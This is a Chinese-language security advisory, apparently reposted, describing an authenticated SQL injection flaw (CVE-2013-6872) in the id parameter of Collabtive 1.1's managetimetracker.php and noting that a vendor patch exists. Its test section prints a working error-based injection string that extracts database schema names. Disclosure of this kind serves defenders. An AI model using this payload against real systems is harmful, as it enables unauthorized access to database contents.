Collabtive 'managetimetracker.php'脚本SQL注入漏洞

发布日期:2014-01-15
更新日期:2014-01-17

受影响系统:
Collabtive Collabtive 1.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 64943
CVE(CAN) ID: CVE-2013-6872

Collabtive是基本Web的开源项目管理软件,用PHP及JavaScript编写。

Collabtive 1.1及其他版本没有正确过滤managetimetracker.php页面的id参数,在实现上存在双查询类型的SQL注入漏洞,经过身份验证的攻击者利用此漏洞可获取数据库敏感信息。

<*来源:Yogesh Phadtare
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

?action=projectpdf&amp;amp;id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

建议:
--------------------------------------------------------------------------------
厂商补丁:

Collabtive
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/c15aa120d585e87c9d4414d1c582b64e.html